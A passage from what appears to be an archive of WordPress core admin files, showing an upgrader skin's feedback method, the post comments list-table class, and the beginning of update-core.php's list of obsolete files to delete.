	 * @param string|array|WP_Error $feedback Message data.
	 * @param mixed                 ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( is_wp_error( $feedback ) ) {
			foreach ( $feedback->get_error_codes() as $error_code ) {
				$this->errors->add( $error_code, $feedback->get_error_message( $error_code ), $feedback->get_error_data( $error_code ) );
			}
		}

		parent::feedback( $feedback, ...$args );
	}
}
class-wp-post-comments-list-table.php000064400000002655150275632050013667 0ustar00<?php
/**
 * List Table API: WP_Post_Comments_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement displaying post comments in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_Comments_List_Table
 */
class WP_Post_Comments_List_Table extends WP_Comments_List_Table {

	/**
	 * @return array
	 */
	protected function get_column_info() {
		return array(
			array(
				'author'  => __( 'Author' ),
				'comment' => _x( 'Comment', 'column name' ),
			),
			array(),
			array(),
			'comment',
		);
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		$classes   = parent::get_table_classes();
		$classes[] = 'wp-list-table';
		$classes[] = 'comments-box';
		return $classes;
	}

	/**
	 * @param bool $output_empty
	 */
	public function display( $output_empty = false ) {
		$singular = $this->_args['singular'];

		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
<table class="<?php echo implode( ' ', $this->get_table_classes() ); ?>" style="display:none;">
	<tbody id="the-comment-list"
		<?php
		if ( $singular ) {
			echo " data-wp-lists='list:$singular'";
		}
		?>
		>
		<?php
		if ( ! $output_empty ) {
			$this->display_rows_or_placeholder();
		}
		?>
	</tbody>
</table>
		<?php
	}

	/**
	 * @param bool $comment_status
	 * @return int
	 */
	public function get_per_page( $comment_status = false ) {
		return 10;
	}
}
update-core.php000064400000215513150275632050007501 0ustar00<?php
/**
 * WordPress core upgrade functionality.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.7.0
 */

/**
 * Stores files to be deleted.
 *
 * Bundled theme files should not be included in this list.
 *
 * @since 2.7.0
 *
 * @global array $_old_files
 * @var array
 * @name $_old_files
 */
global $_old_files;

$_old_files = array(
	// 2.0
	'wp-admin/import-b2.php',
	'wp-admin/import-blogger.php',
	'wp-admin/import-greymatter.php',
	'wp-admin/import-livejournal.php',
	'wp-admin/import-mt.php',
	'wp-admin/import-rss.php',
	'wp-admin/import-textpattern.php',
	'wp-admin/quicktags.js',
	'wp-images/fade-butt.png',
	'wp-images/get-firefox.png',
	'wp-images/header-shadow.png',
	'wp-images/smilies',
	'wp-images/wp-small.png',
	'wp-images/wpminilogo.png',
	'wp.php',
	// 2.0.8
	'wp-includes/js/tinymce/plugins/inlinepopups/readme.txt',
	// 2.1
	'wp-admin/edit-form-ajax-cat.php',
	'wp-admin/execute-pings.php',
	'wp-admin/inline-uploading.php',
	'wp-admin/link-categories.php',
	'wp-admin/list-manipulation.js',
	'wp-admin/list-manipulation.php',
	'wp-includes/comment-functions.php',
	'wp-includes/feed-functions.php',
	'wp-includes/functions-compat.php',
	'wp-includes/functions-formatting.php',
	'wp-includes/functions-post.php',
	'wp-includes/js/dbx-key.js',
	'wp-includes/js/tinymce/plugins/autosave/langs/cs.js',
	'wp-includes/js/tinymce/plugins/autosave/langs/sv.js',
	'wp-includes/links.php',
	'wp-includes/pluggable-functions.php',
	'wp-includes/template-functions-author.php',
	'wp-includes/template-functions-category.php',
	'wp-includes/template-functions-general.php',
	'wp-includes/template-functions-links.php',
	'wp-includes/template-functions-post.php',
	'wp-includes/wp-l10n.php',
	// 2.2
	'wp-admin/cat-js.php',
	'wp-admin/import/b2.php',
	'wp-includes/js/autosave-js.php',
	'wp-includes/js/list-manipulation-js.php',
	'wp-includes/js/wp-ajax-js.php',
	// 2.3
	'wp-admin/admin-db.php',
	'wp-admin/cat.js',
	'wp-admin/categories.js',
	'wp-admin/custom-fields.js',
	'wp-admin/dbx-admin-key.js',
	'wp-admin/edit-comments.js',
	'wp-admin/install-rtl.css',
	'wp-admin/install.css',
	'wp-admin/upgrade-schema.php',
	'wp-admin/upload-functions.php',
	'wp-admin/upload-rtl.css',
	'wp-admin/upload.css',
	'wp-admin/upload.js',
	'wp-admin/users.js',
	'wp-admin/widgets-rtl.css',
	'wp-admin/widgets.css',
	'wp-admin/xfn.js',
	'wp-includes/js/tinymce/license.html',
	// 2.5
	'wp-admin/css/upload.css',
	'wp-admin/images/box-bg-left.gif',
	'wp-admin/images/box-bg-right.gif',
	'wp-admin/images/box-bg.gif',
	'wp-admin/images/box-butt-left.gif',
	'wp-admin/images/box-butt-right.gif',
	'wp-admin/images/box-butt.gif',
	'wp-admin/images/box-head-left.gif',
	'wp-admin/images/box-head-right.gif',
	'wp-admin/images/box-head.gif',
	'wp-admin/images/heading-bg.gif',
	'wp-admin/images/login-bkg-bottom.gif',
	'wp-admin/images/login-bkg-tile.gif',
	'wp-admin/images/notice.gif',
	'wp-admin/images/toggle.gif',
	'wp-admin/includes/upload.php',
	'wp-admin/js/dbx-admin-key.js',
	'wp-admin/js/link-cat.js',
	'wp-admin/profile-update.php',
	'wp-admin/templates.php',
	'wp-includes/images/wlw/WpComments.png',
	'wp-includes/images/wlw/WpIcon.png',
	'wp-includes/images/wlw/WpWatermark.png',
	'wp-includes/js/dbx.js',
	'wp-includes/js/fat.js',
	'wp-includes/js/list-manipulation.js',
	'wp-includes/js/tinymce/langs/en.js',
	'wp-includes/js/tinymce/plugins/autosave/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/autosave/langs',
	'wp-includes/js/tinymce/plugins/directionality/images',
	'wp-includes/js/tinymce/plugins/directionality/langs',
	'wp-includes/js/tinymce/plugins/inlinepopups/css',
	'wp-includes/js/tinymce/plugins/inlinepopups/images',
	'wp-includes/js/tinymce/plugins/inlinepopups/jscripts',
	'wp-includes/js/tinymce/plugins/paste/images',
	'wp-includes/js/tinymce/plugins/paste/jscripts',
	'wp-includes/js/tinymce/plugins/paste/langs',
	'wp-includes/js/tinymce/plugins/spellchecker/classes/HttpClient.class.php',
	'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyGoogleSpell.class.php',
	'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspell.class.php',
	'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspellShell.class.php',
	'wp-includes/js/tinymce/plugins/spellchecker/css/spellchecker.css',
	'wp-includes/js/tinymce/plugins/spellchecker/images',
	'wp-includes/js/tinymce/plugins/spellchecker/langs',
	'wp-includes/js/tinymce/plugins/spellchecker/tinyspell.php',
	'wp-includes/js/tinymce/plugins/wordpress/images',
	'wp-includes/js/tinymce/plugins/wordpress/langs',
	'wp-includes/js/tinymce/plugins/wordpress/wordpress.css',
	'wp-includes/js/tinymce/plugins/wphelp',
	'wp-includes/js/tinymce/themes/advanced/css',
	'wp-includes/js/tinymce/themes/advanced/images',
	'wp-includes/js/tinymce/themes/advanced/jscripts',
	'wp-includes/js/tinymce/themes/advanced/langs',
	// 2.5.1
	'wp-includes/js/tinymce/tiny_mce_gzip.php',
	// 2.6
	'wp-admin/bookmarklet.php',
	'wp-includes/js/jquery/jquery.dimensions.min.js',
	'wp-includes/js/tinymce/plugins/wordpress/popups.css',
	'wp-includes/js/wp-ajax.js',
	// 2.7
	'wp-admin/css/press-this-ie-rtl.css',
	'wp-admin/css/press-this-ie.css',
	'wp-admin/css/upload-rtl.css',
	'wp-admin/edit-form.php',
	'wp-admin/images/comment-pill.gif',
	'wp-admin/images/comment-stalk-classic.gif',
	'wp-admin/images/comment-stalk-fresh.gif',
	'wp-admin/images/comment-stalk-rtl.gif',
	'wp-admin/images/del.png',
	'wp-admin/images/gear.png',
	'wp-admin/images/media-button-gallery.gif',
	'wp-admin/images/media-buttons.gif',
	'wp-admin/images/postbox-bg.gif',
	'wp-admin/images/tab.png',
	'wp-admin/images/tail.gif',
	'wp-admin/js/forms.js',
	'wp-admin/js/upload.js',
	'wp-admin/link-import.php',
	'wp-includes/images/audio.png',
	'wp-includes/images/css.png',
	'wp-includes/images/default.png',
	'wp-includes/images/doc.png',
	'wp-includes/images/exe.png',
	'wp-includes/images/html.png',
	'wp-includes/images/js.png',
	'wp-includes/images/pdf.png',
	'wp-includes/images/swf.png',
	'wp-includes/images/tar.png',
	'wp-includes/images/text.png',
	'wp-includes/images/video.png',
	'wp-includes/images/zip.png',
	'wp-includes/js/tinymce/tiny_mce_config.php',
	'wp-includes/js/tinymce/tiny_mce_ext.js',
	// 2.8
	'wp-admin/js/users.js',
	'wp-includes/js/swfupload/plugins/swfupload.documentready.js',
	'wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js',
	'wp-includes/js/swfupload/swfupload_f9.swf',
	'wp-includes/js/tinymce/plugins/autosave',
	'wp-includes/js/tinymce/plugins/paste/css',
	'wp-includes/js/tinymce/utils/mclayer.js',
	'wp-includes/js/tinymce/wordpress.css',
	// 2.8.5
	'wp-admin/import/btt.php',
	'wp-admin/import/jkw.php',
	// 2.9
	'wp-admin/js/page.dev.js',
	'wp-admin/js/page.js',
	'wp-admin/js/set-post-thumbnail-handler.dev.js',
	'wp-admin/js/set-post-thumbnail-handler.js',
	'wp-admin/js/slug.dev.js',
	'wp-admin/js/slug.js',
	'wp-includes/gettext.php',
	'wp-includes/js/tinymce/plugins/wordpress/js',
	'wp-includes/streams.php',
	// MU
	'README.txt',
	'htaccess.dist',
	'index-install.php',
	'wp-admin/css/mu-rtl.css',
	'wp-admin/css/mu.css',
	'wp-admin/images/site-admin.png',
	'wp-admin/includes/mu.php',
	'wp-admin/wpmu-admin.php',
	'wp-admin/wpmu-blogs.php',
	'wp-admin/wpmu-edit.php',
	'wp-admin/wpmu-options.php',
	'wp-admin/wpmu-themes.php',
	'wp-admin/wpmu-upgrade-site.php',
	'wp-admin/wpmu-users.php',
	'wp-includes/images/wordpress-mu.png',
	'wp-includes/wpmu-default-filters.php',
	'wp-includes/wpmu-functions.php',
	'wpmu-settings.php',
	// 3.0
	'wp-admin/categories.php',
	'wp-admin/edit-category-form.php',
	'wp-admin/edit-page-form.php',
	'wp-admin/edit-pages.php',
	'wp-admin/images/admin-header-footer.png',
	'wp-admin/images/browse-happy.gif',
	'wp-admin/images/ico-add.png',
	'wp-admin/images/ico-close.png',
	'wp-admin/images/ico-edit.png',
	'wp-admin/images/ico-viewpage.png',
	'wp-admin/images/fav-top.png',
	'wp-admin/images/screen-options-left.gif',
	'wp-admin/images/wp-logo-vs.gif',
	'wp-admin/images/wp-logo.gif',
	'wp-admin/import',
	'wp-admin/js/wp-gears.dev.js',
	'wp-admin/js/wp-gears.js',
	'wp-admin/options-misc.php',
	'wp-admin/page-new.php',
	'wp-admin/page.php',
	'wp-admin/rtl.css',
	'wp-admin/rtl.dev.css',
	'wp-admin/update-links.php',
	'wp-admin/wp-admin.css',
	'wp-admin/wp-admin.dev.css',
	'wp-includes/js/codepress',
	'wp-includes/js/codepress/engines/khtml.js',
	'wp-includes/js/codepress/engines/older.js',
	'wp-includes/js/jquery/autocomplete.dev.js',
	'wp-includes/js/jquery/autocomplete.js',
	'wp-includes/js/jquery/interface.js',
	'wp-includes/js/scriptaculous/prototype.js',
	// Following file added back in 5.1, see #45645.
	//'wp-includes/js/tinymce/wp-tinymce.js',
	// 3.1
	'wp-admin/edit-attachment-rows.php',
	'wp-admin/edit-link-categories.php',
	'wp-admin/edit-link-category-form.php',
	'wp-admin/edit-post-rows.php',
	'wp-admin/images/button-grad-active-vs.png',
	'wp-admin/images/button-grad-vs.png',
	'wp-admin/images/fav-arrow-vs-rtl.gif',
	'wp-admin/images/fav-arrow-vs.gif',
	'wp-admin/images/fav-top-vs.gif',
	'wp-admin/images/list-vs.png',
	'wp-admin/images/screen-options-right-up.gif',
	'wp-admin/images/screen-options-right.gif',
	'wp-admin/images/visit-site-button-grad-vs.gif',
	'wp-admin/images/visit-site-button-grad.gif',
	'wp-admin/link-category.php',
	'wp-admin/sidebar.php',
	'wp-includes/classes.php',
	'wp-includes/js/tinymce/blank.htm',
	'wp-includes/js/tinymce/plugins/media/css/content.css',
	'wp-includes/js/tinymce/plugins/media/img',
	'wp-includes/js/tinymce/plugins/safari',
	// 3.2
	'wp-admin/images/logo-login.gif',
	'wp-admin/images/star.gif',
	'wp-admin/js/list-table.dev.js',
	'wp-admin/js/list-table.js',
	'wp-includes/default-embeds.php',
	'wp-includes/js/tinymce/plugins/wordpress/img/help.gif',
	'wp-includes/js/tinymce/plugins/wordpress/img/more.gif',
	'wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif',
	'wp-includes/js/tinymce/themes/advanced/img/fm.gif',
	'wp-includes/js/tinymce/themes/advanced/img/sflogo.png',
	// 3.3
	'wp-admin/css/colors-classic-rtl.css',
	'wp-admin/css/colors-classic-rtl.dev.css',
	'wp-admin/css/colors-fresh-rtl.css',
	'wp-admin/css/colors-fresh-rtl.dev.css',
	'wp-admin/css/dashboard-rtl.dev.css',
	'wp-admin/css/dashboard.dev.css',
	'wp-admin/css/global-rtl.css',
	'wp-admin/css/global-rtl.dev.css',
	'wp-admin/css/global.css',
	'wp-admin/css/global.dev.css',
	'wp-admin/css/install-rtl.dev.css',
	'wp-admin/css/login-rtl.dev.css',
	'wp-admin/css/login.dev.css',
	'wp-admin/css/ms.css',
	'wp-admin/css/ms.dev.css',
	'wp-admin/css/nav-menu-rtl.css',
	'wp-admin/css/nav-menu-rtl.dev.css',
	'wp-admin/css/nav-menu.css',
	'wp-admin/css/nav-menu.dev.css',
	'wp-admin/css/plugin-install-rtl.css',
	'wp-admin/css/plugin-install-rtl.dev.css',
	'wp-admin/css/plugin-install.css',
	'wp-admin/css/plugin-install.dev.css',
	'wp-admin/css/press-this-rtl.dev.css',
	'wp-admin/css/press-this.dev.css',
	'wp-admin/css/theme-editor-rtl.css',
	'wp-admin/css/theme-editor-rtl.dev.css',
	'wp-admin/css/theme-editor.css',
	'wp-admin/css/theme-editor.dev.css',
	'wp-admin/css/theme-install-rtl.css',
	'wp-admin/css/theme-install-rtl.dev.css',
	'wp-admin/css/theme-install.css',
	'wp-admin/css/theme-install.dev.css',
	'wp-admin/css/widgets-rtl.dev.css',
	'wp-admin/css/widgets.dev.css',
	'wp-admin/includes/internal-linking.php',
	'wp-includes/images/admin-bar-sprite-rtl.png',
	'wp-includes/js/jquery/ui.button.js',
	'wp-includes/js/jquery/ui.core.js',
	'wp-includes/js/jquery/ui.dialog.js',
	'wp-includes/js/jquery/ui.draggable.js',
	'wp-includes/js/jquery/ui.droppable.js',
	'wp-includes/js/jquery/ui.mouse.js',
	'wp-includes/js/jquery/ui.position.js',
	'wp-includes/js/jquery/ui.resizable.js',
	'wp-includes/js/jquery/ui.selectable.js',
	'wp-includes/js/jquery/ui.sortable.js',
	'wp-includes/js/jquery/ui.tabs.js',
	'wp-includes/js/jquery/ui.widget.js',
	'wp-includes/js/l10n.dev.js',
	'wp-includes/js/l10n.js',
	'wp-includes/js/tinymce/plugins/wplink/css',
	'wp-includes/js/tinymce/plugins/wplink/img',
	'wp-includes/js/tinymce/plugins/wplink/js',
	'wp-includes/js/tinymce/themes/advanced/img/wpicons.png',
	'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png',
	'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/button_bg.png',
	'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif',
	'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png',
	'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/separator.gif',
	// Don't delete, yet: 'wp-rss.php',
	// Don't delete, yet: 'wp-rdf.php',
	// Don't delete, yet: 'wp-rss2.php',
	// Don't delete, yet: 'wp-commentsrss2.php',
	// Don't delete, yet: 'wp-atom.php',
	// Don't delete, yet: 'wp-feed.php',
	// 3.4
	'wp-admin/images/gray-star.png',
	'wp-admin/images/logo-login.png',
	'wp-admin/images/star.png',
	'wp-admin/index-extra.php',
	'wp-admin/network/index-extra.php',
	'wp-admin/user/index-extra.php',
	'wp-admin/images/screenshots/admin-flyouts.png',
	'wp-admin/images/screenshots/coediting.png',
	'wp-admin/images/screenshots/drag-and-drop.png',
	'wp-admin/images/screenshots/help-screen.png',
	'wp-admin/images/screenshots/media-icon.png',
	'wp-admin/images/screenshots/new-feature-pointer.png',
	'wp-admin/images/screenshots/welcome-screen.png',
	'wp-includes/css/editor-buttons.css',
	'wp-includes/css/editor-buttons.dev.css',
	'wp-includes/js/tinymce/plugins/paste/blank.htm',
	'wp-includes/js/tinymce/plugins/wordpress/css',
	'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wordpress/img/embedded.png',
	'wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif',
	'wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif',
	'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css',
	'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wpgallery/img/gallery.png',
	'wp-includes/js/tinymce/plugins/wplink/editor_plugin.dev.js',
	// Don't delete, yet: 'wp-pass.php',
	// Don't delete, yet: 'wp-register.php',
	// 3.5
	'wp-admin/gears-manifest.php',
	'wp-admin/includes/manifest.php',
	'wp-admin/images/archive-link.png',
	'wp-admin/images/blue-grad.png',
	'wp-admin/images/button-grad-active.png',
	'wp-admin/images/button-grad.png',
	'wp-admin/images/ed-bg-vs.gif',
	'wp-admin/images/ed-bg.gif',
	'wp-admin/images/fade-butt.png',
	'wp-admin/images/fav-arrow-rtl.gif',
	'wp-admin/images/fav-arrow.gif',
	'wp-admin/images/fav-vs.png',
	'wp-admin/images/fav.png',
	'wp-admin/images/gray-grad.png',
	'wp-admin/images/loading-publish.gif',
	'wp-admin/images/logo-ghost.png',
	'wp-admin/images/logo.gif',
	'wp-admin/images/menu-arrow-frame-rtl.png',
	'wp-admin/images/menu-arrow-frame.png',
	'wp-admin/images/menu-arrows.gif',
	'wp-admin/images/menu-bits-rtl-vs.gif',
	'wp-admin/images/menu-bits-rtl.gif',
	'wp-admin/images/menu-bits-vs.gif',
	'wp-admin/images/menu-bits.gif',
	'wp-admin/images/menu-dark-rtl-vs.gif',
	'wp-admin/images/menu-dark-rtl.gif',
	'wp-admin/images/menu-dark-vs.gif',
	'wp-admin/images/menu-dark.gif',
	'wp-admin/images/required.gif',
	'wp-admin/images/screen-options-toggle-vs.gif',
	'wp-admin/images/screen-options-toggle.gif',
	'wp-admin/images/toggle-arrow-rtl.gif',
	'wp-admin/images/toggle-arrow.gif',
	'wp-admin/images/upload-classic.png',
	'wp-admin/images/upload-fresh.png',
	'wp-admin/images/white-grad-active.png',
	'wp-admin/images/white-grad.png',
	'wp-admin/images/widgets-arrow-vs.gif',
	'wp-admin/images/widgets-arrow.gif',
	'wp-admin/images/wpspin_dark.gif',
	'wp-includes/images/upload.png',
	'wp-includes/js/prototype.js',
	'wp-includes/js/scriptaculous',
	'wp-admin/css/wp-admin-rtl.dev.css',
	'wp-admin/css/wp-admin.dev.css',
	'wp-admin/css/media-rtl.dev.css',
	'wp-admin/css/media.dev.css',
	'wp-admin/css/colors-classic.dev.css',
	'wp-admin/css/customize-controls-rtl.dev.css',
	'wp-admin/css/customize-controls.dev.css',
	'wp-admin/css/ie-rtl.dev.css',
	'wp-admin/css/ie.dev.css',
	'wp-admin/css/install.dev.css',
	'wp-admin/css/colors-fresh.dev.css',
	'wp-includes/js/customize-base.dev.js',
	'wp-includes/js/json2.dev.js',
	'wp-includes/js/comment-reply.dev.js',
	'wp-includes/js/customize-preview.dev.js',
	'wp-includes/js/wplink.dev.js',
	'wp-includes/js/tw-sack.dev.js',
	'wp-includes/js/wp-list-revisions.dev.js',
	'wp-includes/js/autosave.dev.js',
	'wp-includes/js/admin-bar.dev.js',
	'wp-includes/js/quicktags.dev.js',
	'wp-includes/js/wp-ajax-response.dev.js',
	'wp-includes/js/wp-pointer.dev.js',
	'wp-includes/js/hoverIntent.dev.js',
	'wp-includes/js/colorpicker.dev.js',
	'wp-includes/js/wp-lists.dev.js',
	'wp-includes/js/customize-loader.dev.js',
	'wp-includes/js/jquery/jquery.table-hotkeys.dev.js',
	'wp-includes/js/jquery/jquery.color.dev.js',
	'wp-includes/js/jquery/jquery.color.js',
	'wp-includes/js/jquery/jquery.hotkeys.dev.js',
	'wp-includes/js/jquery/jquery.form.dev.js',
	'wp-includes/js/jquery/suggest.dev.js',
	'wp-admin/js/xfn.dev.js',
	'wp-admin/js/set-post-thumbnail.dev.js',
	'wp-admin/js/comment.dev.js',
	'wp-admin/js/theme.dev.js',
	'wp-admin/js/cat.dev.js',
	'wp-admin/js/password-strength-meter.dev.js',
	'wp-admin/js/user-profile.dev.js',
	'wp-admin/js/theme-preview.dev.js',
	'wp-admin/js/post.dev.js',
	'wp-admin/js/media-upload.dev.js',
	'wp-admin/js/word-count.dev.js',
	'wp-admin/js/plugin-install.dev.js',
	'wp-admin/js/edit-comments.dev.js',
	'wp-admin/js/media-gallery.dev.js',
	'wp-admin/js/custom-fields.dev.js',
	'wp-admin/js/custom-background.dev.js',
	'wp-admin/js/common.dev.js',
	'wp-admin/js/inline-edit-tax.dev.js',
	'wp-admin/js/gallery.dev.js',
	'wp-admin/js/utils.dev.js',
	'wp-admin/js/widgets.dev.js',
	'wp-admin/js/wp-fullscreen.dev.js',
	'wp-admin/js/nav-menu.dev.js',
	'wp-admin/js/dashboard.dev.js',
	'wp-admin/js/link.dev.js',
	'wp-admin/js/user-suggest.dev.js',
	'wp-admin/js/postbox.dev.js',
	'wp-admin/js/tags.dev.js',
	'wp-admin/js/image-edit.dev.js',
	'wp-admin/js/media.dev.js',
	'wp-admin/js/customize-controls.dev.js',
	'wp-admin/js/inline-edit-post.dev.js',
	'wp-admin/js/categories.dev.js',
	'wp-admin/js/editor.dev.js',
	'wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.dev.js',
	'wp-includes/js/tinymce/plugins/wpdialogs/js/popup.dev.js',
	'wp-includes/js/tinymce/plugins/wpdialogs/js/wpdialog.dev.js',
	'wp-includes/js/plupload/handlers.dev.js',
	'wp-includes/js/plupload/wp-plupload.dev.js',
	'wp-includes/js/swfupload/handlers.dev.js',
	'wp-includes/js/jcrop/jquery.Jcrop.dev.js',
	'wp-includes/js/jcrop/jquery.Jcrop.js',
	'wp-includes/js/jcrop/jquery.Jcrop.css',
	'wp-includes/js/imgareaselect/jquery.imgareaselect.dev.js',
	'wp-includes/css/wp-pointer.dev.css',
	'wp-includes/css/editor.dev.css',
	'wp-includes/css/jquery-ui-dialog.dev.css',
	'wp-includes/css/admin-bar-rtl.dev.css',
	'wp-includes/css/admin-bar.dev.css',
	'wp-includes/js/jquery/ui/jquery.effects.clip.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.scale.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.blind.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.core.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.shake.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.fade.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.explode.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.slide.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.drop.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.highlight.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.bounce.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.pulsate.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.transfer.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.fold.min.js',
	'wp-admin/images/screenshots/captions-1.png',
	'wp-admin/images/screenshots/captions-2.png',
	'wp-admin/images/screenshots/flex-header-1.png',
	'wp-admin/images/screenshots/flex-header-2.png',
	'wp-admin/images/screenshots/flex-header-3.png',
	'wp-admin/images/screenshots/flex-header-media-library.png',
	'wp-admin/images/screenshots/theme-customizer.png',
	'wp-admin/images/screenshots/twitter-embed-1.png',
	'wp-admin/images/screenshots/twitter-embed-2.png',
	'wp-admin/js/utils.js',
	// Added back in 5.3 [45448], see #43895.
	// 'wp-admin/options-privacy.php',
	'wp-app.php',
	'wp-includes/class-wp-atom-server.php',
	'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css',
	// 3.5.2
	'wp-includes/js/swfupload/swfupload-all.js',
	// 3.6
	'wp-admin/js/revisions-js.php',
	'wp-admin/images/screenshots',
	'wp-admin/js/categories.js',
	'wp-admin/js/categories.min.js',
	'wp-admin/js/custom-fields.js',
	'wp-admin/js/custom-fields.min.js',
	// 3.7
	'wp-admin/js/cat.js',
	'wp-admin/js/cat.min.js',
	'wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.min.js',
	// 3.8
	'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/page_bug.gif',
	'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/more_bug.gif',
	'wp-includes/js/thickbox/tb-close-2x.png',
	'wp-includes/js/thickbox/tb-close.png',
	'wp-includes/images/wpmini-blue-2x.png',
	'wp-includes/images/wpmini-blue.png',
	'wp-admin/css/colors-fresh.css',
	'wp-admin/css/colors-classic.css',
	'wp-admin/css/colors-fresh.min.css',
	'wp-admin/css/colors-classic.min.css',
	'wp-admin/js/about.min.js',
	'wp-admin/js/about.js',
	'wp-admin/images/arrows-dark-vs-2x.png',
	'wp-admin/images/wp-logo-vs.png',
	'wp-admin/images/arrows-dark-vs.png',
	'wp-admin/images/wp-logo.png',
	'wp-admin/images/arrows-pr.png',
	'wp-admin/images/arrows-dark.png',
	'wp-admin/images/press-this.png',
	'wp-admin/images/press-this-2x.png',
	'wp-admin/images/arrows-vs-2x.png',
	'wp-admin/images/welcome-icons.png',
	'wp-admin/images/wp-logo-2x.png',
	'wp-admin/images/stars-rtl-2x.png',
	'wp-admin/images/arrows-dark-2x.png',
	'wp-admin/images/arrows-pr-2x.png',
	'wp-admin/images/menu-shadow-rtl.png',
	'wp-admin/images/arrows-vs.png',
	'wp-admin/images/about-search-2x.png',
	'wp-admin/images/bubble_bg-rtl-2x.gif',
	'wp-admin/images/wp-badge-2x.png',
	'wp-admin/images/wordpress-logo-2x.png',
	'wp-admin/images/bubble_bg-rtl.gif',
	'wp-admin/images/wp-badge.png',
	'wp-admin/images/menu-shadow.png',
	'wp-admin/images/about-globe-2x.png',
	'wp-admin/images/welcome-icons-2x.png',
	'wp-admin/images/stars-rtl.png',
	'wp-admin/images/wp-logo-vs-2x.png',
	'wp-admin/images/about-updates-2x.png',
	// 3.9
	'wp-admin/css/colors.css',
	'wp-admin/css/colors.min.css',
	'wp-admin/css/colors-rtl.css',
	'wp-admin/css/colors-rtl.min.css',
	// Following files added back in 4.5, see #36083.
	// 'wp-admin/css/media-rtl.min.css',
	// 'wp-admin/css/media.min.css',
	// 'wp-admin/css/farbtastic-rtl.min.css',
	'wp-admin/images/lock-2x.png',
	'wp-admin/images/lock.png',
	'wp-admin/js/theme-preview.js',
	'wp-admin/js/theme-install.min.js',
	'wp-admin/js/theme-install.js',
	'wp-admin/js/theme-preview.min.js',
	'wp-includes/js/plupload/plupload.html4.js',
	'wp-includes/js/plupload/plupload.html5.js',
	'wp-includes/js/plupload/changelog.txt',
	'wp-includes/js/plupload/plupload.silverlight.js',
	'wp-includes/js/plupload/plupload.flash.js',
	// Added back in 4.9 [41328], see #41755.
	// 'wp-includes/js/plupload/plupload.js',
	'wp-includes/js/tinymce/plugins/spellchecker',
	'wp-includes/js/tinymce/plugins/inlinepopups',
	'wp-includes/js/tinymce/plugins/media/js',
	'wp-includes/js/tinymce/plugins/media/css',
	'wp-includes/js/tinymce/plugins/wordpress/img',
	'wp-includes/js/tinymce/plugins/wpdialogs/js',
	'wp-includes/js/tinymce/plugins/wpeditimage/img',
	'wp-includes/js/tinymce/plugins/wpeditimage/js',
	'wp-includes/js/tinymce/plugins/wpeditimage/css',
	'wp-includes/js/tinymce/plugins/wpgallery/img',
	'wp-includes/js/tinymce/plugins/wpfullscreen/css',
	'wp-includes/js/tinymce/plugins/paste/js',
	'wp-includes/js/tinymce/themes/advanced',
	'wp-includes/js/tinymce/tiny_mce.js',
	'wp-includes/js/tinymce/mark_loaded_src.js',
	'wp-includes/js/tinymce/wp-tinymce-schema.js',
	'wp-includes/js/tinymce/plugins/media/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/media/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/media/media.htm',
	'wp-includes/js/tinymce/plugins/wpview/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpview/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/directionality/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/directionality/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wordpress/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wpeditimage/editimage.html',
	'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm',
